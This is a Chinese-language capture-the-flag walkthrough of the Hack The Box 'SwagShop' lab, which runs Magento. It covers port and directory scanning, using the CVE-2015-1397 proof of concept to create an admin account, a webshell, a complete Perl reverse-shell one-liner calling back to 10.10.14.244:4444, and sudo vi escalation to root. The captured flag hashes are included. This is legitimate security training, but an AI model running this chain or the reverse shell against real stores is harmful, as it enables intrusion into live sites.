简介:
Magento被认为是全球范围内最实用、最完整的电子商务网站架构系统,是国际化电子商务解决方案之一,像Nike、IKEA等品牌的网站即是采用Magento系统.新版本Magento2可以在本站下载使用。它支持多种语言、多个商铺平台统一管理,具有丰富的模块化架构体系以及丰富的拓展功能。它专业的开源性,使其在第三方系统集成方面有着极为良好的表现。
Magento在世界范围内广泛使用, 是在线商城类CMS的翘楚, 该靶机集成类Magento CMS, 在完成靶机的过程中了解类Magento CMS的一些运行原理、历史CVE问题, 靶机的思路是利用cve获取webshell, 从webshell提升至reverse shell, 提升之后相关flag可附带查出。
目录
- 端口扫描
- 利用cve获取webshell
- 从webshell到反弹shell
一、端口扫描
使用nmap扫描开放的端口nmap -sC -sV 10.10.10.140
, 开放22和80端口, 系统是ubuntu, WEB中间件是apache 2.4.18、OpenSSH 7.2p2. 两个组件均无RCE漏洞, OpenSSH 7.2p2存在用户名枚举的CVE.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 07:14 CST
Nmap scan report for 10.10.10.140
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds
查80端口
访问80端口后, 发现是一个Magento的CMS站点, 用户界面可自行注册, 存在后台管理接口, 存在若干CVE, 包含XXE、XSS等.
二、利用CVE获取webshell
WEB站点信息收集
在浏览器中访问Magento站点后, 没有找到敏感信息, 用gobuster -u http://10.10.10.140 -w /usr/share/wordlists/dirbuste/apa -t 100
进行目录爆破, 发现了一些有意思的数据/app/etc/local.xml
中保存了magento的数据库连接串信息, /index.php/admin
是后台管理平台的入口
拿到数据库的账号密码后, 首先考虑连数据库创建后台管理员账号, 但靶机未对外开放数据库端口, 因此暂无法使用; 然后考虑爆破, 用数据库密码作为root用户的密码和后台管理账号的密码均失败; 因此先搁置数据库账号密码信息, 开始转向CMS的CVE漏洞, 通过exploit-db站点发现了11个CVE, 类型为本地文件读取、远程文件包含、远程代码执行、XXE、XSS, 通过google搜索额外发现若干SQL注入。
CVE利用
在运行proof of concept时, 发现Magento的一个小细节: 访问不存在的页面直接爆404, 访问不存在的模块爆自定义页面版404, 访问管理后台中的链接且链接存在时会重定向至管理平台登陆页面。
基于这个细节, 发现存在Cms_Wysiwyg插件, 其url为/index.php/admin/Cms_Wysiwyg/directive/index/
, 修改CVE-2015-1397
漏洞的poc中url内容和账号密码, 成功创建管理员账号, 进入管理后台。
获取webshell
拿到管理员账号后, 获取WEBSHELL的方法基本上是通过上传FileSystem插件, 编辑php文件写入webshel, weevely连接webshell。 连接webshell后, 获得user.txt1
2www-data@swagshop:/home/haris $ cat user.txt
a448877277e82f05e5ddf9f90aefbac8
三、从webshell到反弹shell
在webshell中运行sudo -l
命令发现可免密执行vi命令, 哈哈, root权限触手可得1
2
3
4
5
6weevely> sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
webshell中无法执行vi这种交互式命令, 因此创建反弹shell执行vi, 但常用的bash、python等命令创建反弹shell一直无法连接过来, 最后用perl获得>了反弹shell1
perl -e 'use Socket;$i="10.10.14.244";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
拿到root权限后, 获得root.txt1
2
3
4
5
6
7
8
9
10
11
12
13
14:!sh
id file when making changes. Quit, or continue with caution.
uid=0(root) gid=0(root) groups=0(root)hed.
cat /root/root.txt case, use ":recover" or "vim -r /var/www/html/a.txt"
c2b087d66e14a652a3b86a130ac56721":help recovery").
If you did this already, delete the swap file "/var/www/html/.a.txt.swp"
___ ___id this message.
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)exists!
| |. |-Only, (E)dit anyway, (R)ecover, (Q)uit, (A)bort: e
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
四、障碍点
- magento创建admin账号poc中涉及路径查找, 明明已经找到但是一直以为不是
- magento后台如何上传file_system插件
- upgrade webshell to reverse_shell(严格区分两者的区别)
- upgrade reverse_shell to tty(严格区分两者区别)
- sudoers配置利用需加sudo前缀